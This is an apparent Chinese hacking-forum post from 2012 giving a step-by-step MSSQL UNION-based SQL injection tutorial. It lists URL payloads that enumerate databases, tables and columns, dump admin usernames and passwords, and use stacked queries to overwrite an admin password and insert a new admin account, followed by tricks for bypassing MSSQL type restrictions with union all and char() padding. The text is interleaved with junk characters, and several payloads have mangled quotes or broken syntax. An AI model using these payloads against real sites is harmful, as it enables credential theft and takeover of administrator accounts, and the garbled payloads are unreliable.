找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2178|回复: 0
打印 上一主题 下一主题

MSSQL用union查询爆数据

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:26:06 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
爆库:
* ]* C9 u! d; m: U% E+ shttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--
8 Q3 \0 ^  n1 f. V8 jSELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.
/ F1 ^9 m6 ?3 z3 U$ a- K5 R爆下一个库:
8 y3 l, o; w( M( E7 fhttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--2 U0 }  s: U8 E) M. Q' P
7 l! [  j+ D6 R5 Q4 H' [1 y3 i
爆表:$ m& N# s4 _  D' q
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
* D& |1 d$ W- {: O4 {5 C8 S1 I* [. @/ R& B; N8 x5 r) s" l1 ^" h9 K
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.) L" d4 c8 |7 `
! B( y. [- p5 B- ^
爆下一个表
0 d1 Z9 D+ b1 nhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--+ v  O# Y2 ]7 O
7 ]1 c: Z* N9 c: z- R2 w5 t
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--+ g" p# b2 D) E/ M$ W& Y/ l

- X- k( H, d$ H, J7 O, Z! E  b) l
+ W9 Y7 o; [( x. t# G+ g5 F" e! C; u. X+ ~* `/ k. |' `
爆字段:4 Y' m- N" P0 a' x& {
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--- p& Q' R/ @' p* `/ O
& f+ P. ?* Y% d4 L6 G* o9 G
爆下一个字段
' P, n. R) _5 @http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--1 T0 C' B  z  Z

3 p; R* K: e+ E( D9 _http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--$ \" Y; w5 O4 {+ C* E" }
/ U. {6 |9 x* X4 p
) g: q4 S0 M& f5 [% B  }
爆字段里的内容
) t& T, P' Q% p5 V4 rhttp://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--$ {; O: S$ i( P) p6 G- K' E7 B

4 r% _2 Q. e9 ~: w, l0 n5 Y- q. H3 chttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
+ ^  O1 n1 P7 ]/ N  m
) z' l9 \9 I2 ~6 `4 K+ _http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--* ^' W; r: a; P: t( _% U

' ^, _: q  a, g6 s  Ohttp://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--
9 @$ y/ {7 n. K9 s5 N/ |6 b9 a3 ^1 R; {+ A+ f
更新字段里的内容: O% s# ^7 h! ^8 W& v( |
http://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--0 B$ C8 w! l! l- q

( @6 T: \8 v+ u3 ?$ G# w6 Rhttp://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--# c' V0 y$ j& U" [
% C4 v. V- m% b/ J, P% S
3 j% G  C  w+ Y

* f& }2 A( U- ]$ G* G. T1 }        在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。
, p7 o3 M$ D; U! J& j0 X2 I    第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。
9 h7 K0 e" R9 W/ I- @, b    第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。
( E' P% d+ y- T+ l; O/ ~" R    最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。
: \8 h# A4 O7 Y" u, V
' N: K4 o, T+ C" v突了了大部份限制的语句
3 x& Y& Q2 H  r) @0 j' yand 1=2 union all select char(49),char(50),null,null;--
) j, Z: `; m. a5 c' z# U, d. p
8 j( s% I- m# p4 b  _
4 \) X( ~# o' O3 f: T+ xnull也可以正常执行,不过没有回显,不好判断回显的列数。
! c) P( ?$ j  P2 {0 B一般union遇到问题都是有text或者ntext字段,image的很少遇到
' y2 [" x$ q6 @. I% T, o% d
. `/ P; j0 _8 k4 n  g1 i. O* v可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟
" v+ U% g4 }$ y' i& g9 C
8 m) U7 K, C, h* K3 C3 F0 K
! C+ D$ t$ M$ z7 {) N
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表